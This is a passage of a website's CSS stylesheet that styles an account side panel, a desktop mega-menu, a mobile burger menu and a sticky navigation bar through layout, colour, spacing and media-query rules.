img.avatar { display: block; margin: auto; width: 60px; height: 60px; } .identity .side-panel .identity-panel .full-name { font-weight: 700; font-size: 18px; line-height: 24px; padding-top: 10px; padding-bottom: 10px; } .identity .side-panel .identity-panel .details { font-size: 14px; } .identity .side-panel .identity-panel a { font-size: 16px; font-weight: 700; text-decoration: none; } .identity .side-panel .identity-panel .top-links a { margin-top: 23px; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); padding: 0.9375em; display: block; line-height: 1.625em; min-height: 1.625em; box-sizing: content-box; text-align: center; } .identity .side-panel .identity-panel .top-links a:hover, .identity .side-panel .identity-panel .top-links a:focus { background-color: rgb(85, 85, 85); } .identity .side-panel .identity-panel .top-sub-links a { background-color: rgba(0, 0, 0, 0); color: rgb(0, 0, 0); padding: 15px; display: block; min-height: 1em; line-height: 1em; text-align: center; font-size: 0.875em; text-decoration: underline; } .identity .side-panel .identity-panel .top-sub-links a:hover, .identity .side-panel .identity-panel .top-sub-links a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .identity .side-panel .identity-panel hr { display: block; width: 19%; border-width: 1px 0px 0px; border-style: solid none none; border-color: rgb(204, 204, 204) currentcolor currentcolor; border-image: none; margin: 30px auto 40px; } @media (max-width: 30em) { .identity .side-panel .identity-panel hr { display: none; } } .identity .side-panel .identity-panel .bottom-links a[role="link"] { justify-content: start; position: relative; padding: 0px; } .identity .side-panel .identity-panel .bottom-links a[role="link"].icon::before { color: rgb(241, 110, 0); position: absolute; right: 0px; font-size: 16px; margin-right: 0px; } .identity .side-panel .identity-panel .elements { display: flex; flex-direction: column; margin-top: 23px; text-align: start; } .identity .side-panel .identity-panel .elements a { position: relative; line-height: 22px; padding: 8px 0px 9px; width: 100%; color: rgb(0, 0, 0); } .identity .side-panel .identity-panel .elements a::before { color: rgb(241, 110, 0); position: absolute; right: 0px; } .identity .side-panel .identity-panel .elements a:hover, .identity .side-panel .identity-panel .elements a:focus { color: rgb(85, 85, 85); text-decoration: underline; } .identity .side-panel .identity-panel .loading { height: 200px; position: relative; min-height: 44.4px; } @keyframes loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .identity .side-panel .identity-panel .loading::after { content: ""; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; } .identity .side-panel .identity-panel .bottom-separator { margin-top: auto; margin-bottom: 0px; width: 100%; padding-top: 20px; border-bottom: 1px solid rgb(204, 204, 204); } .identity .side-panel .identity-panel .bottom-links { padding-top: 0.625em; padding-bottom: 1.25em; text-align: center; } @media screen and (max-width: 48em) { .identity .side-panel .identity-panel .bottom-links { padding-bottom: 7.5em; } } .identity .side-panel .identity-panel .bottom-links a { background: none; padding: 0px 12px; min-height: 50px; line-height: 50px; text-align: center; color: rgb(0, 0, 0); border: 1px solid rgb(0, 0, 0); margin-top: 20px; } .identity .side-panel .identity-panel .bottom-links a:last-of-type { border: medium; margin-top: 10px; } .identity .side-panel .identity-panel .bottom-links a::before { margin-right: 8px; } .identity .side-panel .identity-panel .bottom-links a:hover, .identity .side-panel .identity-panel .bottom-links a:active { color: rgb(85, 85, 85); } .identity .side-panel .identity-panel .bottom-links a:hover::before, .identity .side-panel .identity-panel .bottom-links a:hover i, .identity .side-panel .identity-panel .bottom-links a:active::before, .identity .side-panel .identity-panel .bottom-links a:active i { opacity: 0.6; } .identity .side-panel .content-overflow-wrapper { height: 1px; min-height: 100%; } .identity .side-panel .content-overflow-wrapper .identity-panel { height: 100%; } .gp .skeleton.mega-menu { width: 9.375em; height: 1.875em; } @media (max-width: 71.875em) { .gp .skeleton.mega-menu { width: 5.375em; height: 3.125em; } } .gp .desktop-navigation-content .skeleton.mega-menu { flex-basis: initial; } .sosh .skeleton.mega-menu { width: 6.25em; height: 1.25em; } .navigation { display: flex; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: end; } .navigation.gp { border-bottom: 1px solid rgb(85, 85, 85); } .navigation.gp .logo { display: none !important; } .navigation.gp.sticky.visible .logo { display: flex !important; } @media (max-width: 64em) { .navigation.gp .logo { display: none !important; } } .navigation.gp .content { border-top: 0.05625em solid rgb(85, 85, 85); } .navigation.sosh { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); border-bottom: 1px solid rgb(204, 204, 204); min-height: 51px; align-items: center; z-index: 1; overflow: hidden; } .navigation.sosh .desktop-navigation-content { display: flex; border-top: medium; } .navigation.sosh:has(.hidden-dropdown[aria-expanded="true"]) { overflow: visible; } .navigation.sosh .events { display: flex; } .navigation.sosh .events .event { width: max-content; margin: 0px 0px auto !important; } .navigation.sosh .events .event span { font-weight: 700; } .navigation.sosh .events .event .icon.double-underline { color: rgb(222, 37, 84); font-size: 4.0625em; position: absolute; left: -1.53846em; bottom: 0px; right: -1.53846em; height: 0.307692em; pointer-events: none; } .navigation.sosh .mobile-navigation-content { top: 0px !important; border: medium !important; width: 16.875em !important; } .navigation.sosh + .overlay { z-index: 99990; } .navigation.sosh .logo { display: none; } .navigation.sosh.sticky.visible .logo { display: flex !important; } @media (max-width: 64em) { .navigation.sosh .logo { display: flex !important; } } .sticky-ghost { background-color: rgb(0, 0, 0); min-height: 0px; width: 100%; } .gp.navigation { min-height: 3.25em; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: stretch; } .gp.navigation.sticky.visible { position: fixed !important; z-index: 10000000; top: 0px; } .gp.navigation.sticky.visible + .sticky-ghost { min-height: 3.125em; } @media (max-width: 80em) { .gp.navigation.sticky.visible + .sticky-ghost { min-height: 4.375em; } } @media (max-width: 64em) { .gp.navigation { min-height: 0px; } } .gp.navigation .desktop-navigation-content { display: flex; gap: 0.9375em; width: 100%; border-top: 0.05625em solid rgb(85, 85, 85); } .gp.navigation .desktop-navigation-content .mega-menu { position: static; display: flex; flex-shrink: 1; } .gp.navigation .desktop-navigation-content .mega-menu a { font-size: 0.875em; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button { display: flex; flex-shrink: 1; font-size: 0.875em; line-height: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel { display: none; border-top: 1px solid rgb(85, 85, 85); padding-top: 0px; padding-bottom: 0px; box-sizing: border-box; min-height: 29.375em; position: absolute; left: 0px; right: 0px; top: 100%; background-color: rgb(0, 0, 0); } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel { min-height: 21.875em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { display: flex; flex-direction: column; flex-shrink: 0; padding-top: 1.875em; padding-bottom: 1.875em; width: 20%; border-right: 1px solid rgb(85, 85, 85); max-height: calc(100vh - var(--top-offset) - 1.875em - 1.875em); overflow-y: auto; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { padding-top: 0.625em; padding-bottom: 0.625em; } } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { max-height: calc(100vh - var(--top-offset) - .625em - .625em); } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links { display: flex; flex-direction: column; margin-bottom: auto; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { font-size: 0.875em; display: flex; padding: 1em 0.714286em; font-weight: bold; margin: 0px; height: auto; width: 100%; min-height: 2.85714em; box-sizing: border-box; align-items: center; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { padding: 0.714286em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link .icon::before { font-size: 1.5em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:last-of-type { margin-bottom: auto; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.icon.after.arrow-right::after { visibility: hidden; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected { color: rgb(241, 110, 0); background: rgba(255, 255, 255, 0.08); } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected.icon.after.arrow-right::after { visibility: visible; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:hover, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { background: rgba(255, 255, 255, 0.08); text-decoration: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links { display: flex; margin-top: 1.5em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links a { padding: 1em 0.714286em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels { position: relative; flex-grow: 1; display: flex; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel { display: none; flex-direction: column; max-height: calc(100vh - var(--top-offset)); overflow: hidden auto; top: 0px; right: 0px; flex-grow: 0; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected { display: flex; width: auto; flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected .section-top { flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { display: flex; flex-direction: row; gap: 1.875em; width: auto; padding: 1.875em 1.875em 0.625em; } @media screen and (max-width: 80em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-right: 0px; } } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-top: 0.625em; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid { --nb-columns: 3; display: grid; gap: 0.75em 1.875em; grid-auto-rows: min-content; grid-template-columns: repeat(var(--nb-columns), 1fr); flex-grow: 1; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid h3.category-title { grid-row: 1; font-size: 0.875em; margin-bottom: 0px; margin-top: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; } @media (max-height: 40.625em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { gap: 0px; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a { padding-top: 0.5em; padding-bottom: 0.625em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder { margin-left: auto; margin-top: 1.3125em; font-size: 1em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { flex-grow: 0; flex-shrink: 0; width: 16.875em; height: 22.5em; background-color: rgba(255, 255, 255, 0.08); } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder::before { display: none; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder.error { border: medium; background-color: rgba(255, 255, 255, 0.08); opacity: 0.07; object-fit: cover; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { visibility: hidden; opacity: 0; height: 18.75em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { margin-top: auto; display: flex; gap: 1.25em; flex-wrap: wrap; padding-bottom: 2.5em; padding-left: 1.875em; padding-right: 1.875em; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links a::before { margin-right: 0.3125em; } @media screen and (max-width: 80em) { .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { padding-right: 0px; } } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button { position: absolute; top: 0px; right: -2em; width: 2em; height: 2em; line-height: 2em; text-align: center; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button::before { font-size: 1.25em; color: rgb(255, 255, 255); } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected { position: relative; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected::after { content: ""; display: block; position: absolute; left: 0.3125em; right: 0.3125em; bottom: -0.75em; height: 0.25em; background-color: rgb(241, 110, 0); z-index: 999; } .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected + .panel { display: flex; } .gp.navigation .desktop-navigation-content .mega-menu-button:hover { color: rgb(204, 204, 204); } .gp.navigation .desktop-navigation-content .events { margin-right: auto; } .gp.navigation .desktop-navigation-content .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .gp.navigation .desktop-navigation-content .events > .event:hover, .gp.navigation .desktop-navigation-content .events > .event:focus, .gp.navigation .desktop-navigation-content .events > .event:focus-visible { color: rgb(255, 255, 255); } .gp.navigation .desktop-navigation-content .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .gp.navigation .desktop-navigation-content ul, .gp.navigation .desktop-navigation-content ul > li { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: inherit; } @media (max-width: 71.875em) { .gp.navigation .desktop-navigation-content > ul { flex-basis: min-content; } } .gp.navigation .desktop-navigation-content > a, .gp.navigation .desktop-navigation-content > div > a, .gp.navigation .desktop-navigation-content > ul > li > a, .gp.navigation .desktop-navigation-content button.as-link { display: flex; padding: 0.357143em; font-weight: bold; box-sizing: border-box; margin-top: 0.625em; margin-bottom: 0.625em; height: calc(100% - 1.25em); align-items: center; color: rgb(255, 255, 255); outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .desktop-navigation-content > a:hover, .gp.navigation .desktop-navigation-content > a:focus, .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:hover, .gp.navigation .desktop-navigation-content > div > a:focus, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:hover, .gp.navigation .desktop-navigation-content > ul > li > a:focus, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:hover, .gp.navigation .desktop-navigation-content button.as-link:focus, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { text-decoration: none; } .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .gp.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; } .gp.navigation .mobile-navigation-menu:not(.is-open) * { display: none; } .gp.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(85, 85, 85); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; } @media screen and (max-width: 30em) { .gp.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; } } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); } @media (max-width: 20.3125em) { .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; } } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: " "; background-color: rgb(255, 255, 255); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: ""; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"] { background-color: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"]::before { transform: rotate(-135deg); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded="true"]) + 